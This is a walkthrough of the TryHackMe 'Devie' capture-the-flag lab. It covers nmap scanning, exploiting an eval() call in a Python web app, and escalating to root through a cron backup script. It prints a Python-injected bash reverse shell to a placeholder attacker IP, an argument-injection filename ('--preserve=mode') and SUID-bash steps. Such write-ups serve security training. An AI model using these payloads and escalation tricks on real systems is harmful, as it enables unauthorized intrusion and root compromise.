9 minute read

This is a walkthrough of the Devie room on TryHackMe.

Scenario

A developer has asked you to do a vulnerability check on their system.

Reconnaissance: Active Scanning

I began enumeration by running Nmap against the target IP:

┌──(kali㉿kali)-[~]
└─$ nmap 10.10.175.163
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 15:56 EST
Nmap scan report for 10.10.175.163
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

This shows SSH running on port 22, and another service running on port 5000. I added the -A flag to Nmap and tried to gather more info:

┌──(kali㉿kali)-[~]
└─$ nmap -A -p 5000 10.10.175.163                                              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 15:57 EST
Nmap scan report for 10.10.175.163
Host is up (0.18s latency).

PORT     STATE SERVICE VERSION
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Thu, 04 Jan 2024 20:57:33 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 4486
|     Connection: close
|     <!doctype html>
|     <html lang="en">

...

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

This provides what appears to be a webpage. Accessing http://< TARGET IP >:5000 shows a simple page with three math formulas.

The page also provides a link to download the source code.

Collection: Data from Information Repositories: Code Repositories

I went ahead and downloaded the source code to my local machine. After unzipping the file source.zip I was examined its contents:

┌──(kali㉿kali)-[~/devie/math]
└─$ ls -la               
total 28
drwxr-xr-x 3 kali kali 4096 Feb 19  2023 .
drwxr-xr-x 3 kali kali 4096 Jan  5 13:59 ..
-rw-rw-r-- 1 kali kali 3453 Feb 19  2023 app.py
-rw-rw-r-- 1 kali kali  219 May 12  2022 bisection.py
-rw-rw-r-- 1 kali kali  149 May 12  2022 prime.py
-rw-rw-r-- 1 kali kali  284 May 12  2022 quadratic.py
drwxrwxr-x 2 kali kali 4096 Feb 19  2023 templates

I investigated each script, and found the app.py file is using the eval() function within the bisect() function:

def bisect(xa,xb):
    added = xa + " + " + xb
    c = eval(added)
    c = int(c)/2
    ya = (int(xa)**6) - int(xa) - 1 #f(a)
    yb = (int(xb)**6) - int(xb) - 1 #f(b)
    
    if ya > 0 and yb > 0: #If they are both positive, since we are checking for one root between the points, not two. Then if both positive, no root
        root = 0
        return root
    else:
        e = 0.0001 #When to stop checking, number is really small

        l = 0 #Loop
        while l < 1: #Endless loop until condition is met
            d = int(xb) - c #Variable d to check for e
            if d <= e: #If d < e then we break the loop
                l = l + 1
            else:
                yc = (c**6) - c - 1 #f(c)
                if yc > 0: #If f(c) is positive then we switch the b variable with c and get the new c variable
                    xb = c
                    c = (int(xa) + int(xb))/2
                elif yc < 0: #If (c) is negative then we switch the a variable instead
                    xa = c 
                    c = (int(xa) + int(xb))/2
        c_format = "{0:.4f}"
        root = float(c_format.format(c))
        return root

The use of eval() constitutes a well-known, dangerous, vulnerability. More information can be found on OWASP’s site, here.

Initial Access: Content Injection

I was able to inject the following reverse shell into the “Bisection Method” formula:

__import__('os').system("bash -c 'bash -i >& /dev/tcp/< ATTACKER IP >/9001 0>&1'")

After starting a Netcat listener on my local machine, I clicked submit on the web page to execute the reverse shell:

┌──(kali㉿kali)-[~/devie/math]
└─$ nc -lvnp 9001                                                                                                                                                
listening on [any] 9001 ...
connect to [10.6.102.253] from (UNKNOWN) [10.10.249.249] 37548
bash: cannot set terminal process group (680): Inappropriate ioctl for device
bash: no job control in this shell
bruce@devie:~$

Next, I upgraded my shell:

bruce@devie:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
bruce@devie:~$ ^Z
zsh: suspended  nc -lvnp 9001
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/devie/math]
└─$ stty raw -echo && fg    
[1]  + continued  nc -lvnp 9001

bruce@devie:~$ 

Collection: Data from Local System

Next, I set about collecting any interesting information I could. In the bruce’s home directory I found the following:

bruce@devie:~$ ls -la
total 44
drwxr-xr-x 4 bruce bruce 4096 Feb 20  2023 .
drwxr-xr-x 4 root  root  4096 May 12  2022 ..
lrwxrwxrwx 1 root  root     9 May 13  2022 .bash_history -> /dev/null
-rw-r--r-- 1 bruce bruce  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 bruce bruce 3771 Feb 25  2020 .bashrc
drwx------ 2 bruce bruce 4096 May 12  2022 .cache
-rw-r--r-- 1 root  root   158 Feb 19  2023 checklist
-rw-r----- 1 root  bruce   23 May 12  2022 flag1.txt
-rw-r--r-- 1 root  root   355 Feb 20  2023 note
-rw-r--r-- 1 bruce bruce  807 Feb 25  2020 .profile
-rw-rw-r-- 1 bruce bruce   75 May 12  2022 .selected_editor
drwx------ 2 bruce bruce 4096 May 12  2022 .ssh
-rw------- 1 bruce bruce    0 May 12  2022 .viminfo

flag1.txt

bruce@devie:~$ cat flag1.txt 
THM{REDACTED}

checklist

bruce@devie:~$ cat checklist 
Web Application Checklist:
1. Built Site - check
2. Test Site - check
3. Move Site to production - check
4. Remove dangerous fuctions from site - check
Bruce

note

bruce@devie:~$ cat note 
Hello Bruce,

I have encoded my password using the super secure XOR format.

I made the key quite lengthy and spiced it up with some base64 at the end to make it even more secure. I'll share the decoding script for it soon. However, you can use my script located in the /opt/ directory.

For now look at this super secure string:
NEUEDTIeN1MRDg5K

Gordon

Privilege Escalation: Valid Accounts: Local Accounts

The note file offers some valuable information. First, there is a script in /opt that needs investigation. Also, there is a string(NEUEDTIeN1MRDg5K), along with clues as to how it was encoded.

First, I checked the aforementioned script:

bruce@devie:~$ ls -la /opt/ 
total 12
drwxr-xr-x  2 root root   4096 Aug  2  2022 .
drwxr-xr-x 19 root root   4096 May 12  2022 ..
-rw-r-----  1 root gordon  485 Aug  2  2022 encrypt.py

I do not appear to have any permissions for this script, though. I checked my current user’s sudo permissions:

bruce@devie:~$ sudo -l
Matching Defaults entries for bruce on devie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bruce may run the following commands on devie:
    (gordon) NOPASSWD: /usr/bin/python3 /opt/encrypt.py

My current user is allowed to run this script, but as the user gordon. I ran the script and entered a random string so I can attempt to reverse engineer the encoding:

bruce@devie:/opt$ sudo -u gordon /usr/bin/python3 /opt/encrypt.py 
Enter a password to encrypt: testingtestingtestingtestingtesting
BxADERsdAhcXFgACCx4MCgEMBhwUARUWBhoLBAYABx8MFx8=

Going off of the note from Gordon, I copied this encoded string into CyberChef, and was able to get the encryption key:

With this key, I was able to use the same recipe to decode the string from Gordon’s note. Once obtained I used this to access Gordon’s user account over SSH:

┌──(kali㉿kali)-[~]
└─$ ssh gordon@10.10.222.220  
... 
gordon@10.10.222.220's password: 
...
gordon@devie:~$ 

Collection: Data from Local System

I walked through Gordon’s home directory:

gordon@devie:~$ ls -la
total 36
drwxr-xr-x 5 gordon gordon 4096 Jan  5 16:07 .
drwxr-xr-x 4 root   root   4096 May 12  2022 ..
drwxrwx--- 2 gordon gordon 4096 Feb 19  2023 backups
lrwxrwxrwx 1 root   root      9 May 13  2022 .bash_history -> /dev/null
-rw-r--r-- 1 gordon gordon  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gordon gordon 3771 Feb 25  2020 .bashrc
drwx------ 2 gordon gordon 4096 Jan  5 16:07 .cache
-rw-r----- 1 root   gordon   21 Aug  2  2022 flag2.txt
-rw-r--r-- 1 gordon gordon  807 Feb 25  2020 .profile
drwxrwx--- 2 gordon gordon 4096 Feb 19  2023 reports
-rw------- 1 gordon gordon    0 May 12  2022 .viminfo

flag2.txt

gordon@devie:~$ cat flag2.txt 
THM{REDACTED}

/backups

gordon@devie:~/backups$ ls -la
total 20
drwxrwx--- 2 gordon gordon 4096 Feb 19  2023 .
drwxr-xr-x 5 gordon gordon 4096 Jan  5 16:07 ..
-rw-r--r-- 1 root   root     57 Jan  5 16:11 report1
-rw-r--r-- 1 root   root     72 Jan  5 16:11 report2
-rw-r--r-- 1 root   root    100 Jan  5 16:11 report3
gordon@devie:~/backups$ cat report1 
I am beginning to think that Batman is Bruce.....naahhh.
gordon@devie:~/backups$ cat report2 
I told Bruce that the website is still vulnerable but he didn't listen.
gordon@devie:~/backups$ cat report3 
Finished my XOR script. Found no vulnerabilities. Shared permissions with Bruce for execution only.

I found the same files in /reports.

Privilege Escalation: Valid Accounts: Local Accounts

Next, I focused my attention on gaining root access. Unfortunately, the user gordon is not a sudoer, and so sudo -l was no help.

I setup an HTTP server on my local machine with Python, and then used wget to download pspy64 to the target machine.

gordon@devie:/tmp$ ./pspy64

...

2024/01/05 18:53:01 CMD: UID=0     PID=1090   | /usr/sbin/CRON -f 
2024/01/05 18:53:01 CMD: UID=0     PID=1092   | /usr/bin/bash /usr/bin/backup 
2024/01/05 18:53:01 CMD: UID=0     PID=1091   | /bin/sh -c /usr/bin/bash /usr/bin/backup 
2024/01/05 18:53:01 CMD: UID=0     PID=1093   | cp report1 report2 report3 /home/gordon/backups/

This shows an automated backup process, /usr/bin/backup. It appears to run every minute, and with a UID of 0, it is running as the root user.

Investigating further:

gordon@devie:~$ ls -la /usr/bin/backup 
-rwxr----- 1 root gordon 66 May 12  2022 /usr/bin/backup
gordon@devie:~$ cat /usr/bin/backup 
#!/bin/bash

cd /home/gordon/reports/

cp * /home/gordon/backups/

Unfortunately I cannot write to this file, nor can I delete it to replace it with my own script. However, I see that it is performing the cp command in my home directory.

In order to gain root access, I will exploit the script by copying /bin/bash to the ~/reports directory, and setting the SUID bit, so that I can run it as root from the ~/backups directory.

However, because the backup script is using the cp command, the copy of bash will lose the SUID bit. To prevent this, I need to inject the -p flag into the cp command.

First, I tried accomplishing this by just creating a file named ‘-p’ in the ~/reports directory, but this did not work. It also changed the owner of the files in ~/backups from root to gordon. I researched and found that the -p flag is short for --preserve=mode and tried to use this as the filename instead:

gordon@devie:~/reports$ cp /bin/bash .
gordon@devie:~/reports$ chmod +xs bash 
gordon@devie:~/reports$ echo " " > '--preserve=mode'
gordon@devie:~/reports$ ls -la
total 1180
drwxrwx--- 2 gordon gordon    4096 Jan  6 00:49  .
drwxr-xr-x 5 gordon gordon    4096 Jan  6 00:31  ..
-rwsr-sr-x 1 gordon gordon 1183448 Jan  6 00:49  bash
-rw-rw-r-- 1 gordon gordon       2 Jan  6 00:49 '--preserve=mode'
-rw-r--r-- 1    640 gordon      57 Feb 19  2023  report1
-rw-r--r-- 1    640 gordon      72 Feb 19  2023  report2
-rw-r--r-- 1    640 gordon     100 Feb 19  2023  report3

After about a minute, I checked the ~/backups directory:

gordon@devie:~/reports$ ls -la ~/backups/
total 1176
drwxrwx--- 2 gordon gordon    4096 Jan  6 00:50 .
drwxr-xr-x 5 gordon gordon    4096 Jan  6 00:31 ..
-rwsr-sr-x 1 root   root   1183448 Jan  6 00:50 bash
-rw-r--r-- 1    640 gordon      57 Jan  6 00:50 report1
-rw-r--r-- 1    640 gordon      72 Jan  6 00:50 report2
-rw-r--r-- 1    640 gordon     100 Jan  6 00:50 report3

Now I have bash owned by root, with the SUID bit set. I can access the root account now like so:

gordon@devie:~/backups$ ./bash -p
bash-5.0# whoami
root

Collection: Data from Local System

Now, with root access I can find the final flag:

bash-5.0# cat /root/root.txt 
THM{REDACTED}

Conclusion

Another fun exercise from THM. While I was familiar with the dangers of eval(), this was my first time actually exploiting it in a script. I also enjoyed figuring out how to inject the --preserve=mode flag into the cp command inside of the backup script.

I will be trying a different format for my write-ups going forward. I will first produce a simple walkthrough of the CTF, and will then create a report of the engagement as a separate post.

The report for this room will be found [here.]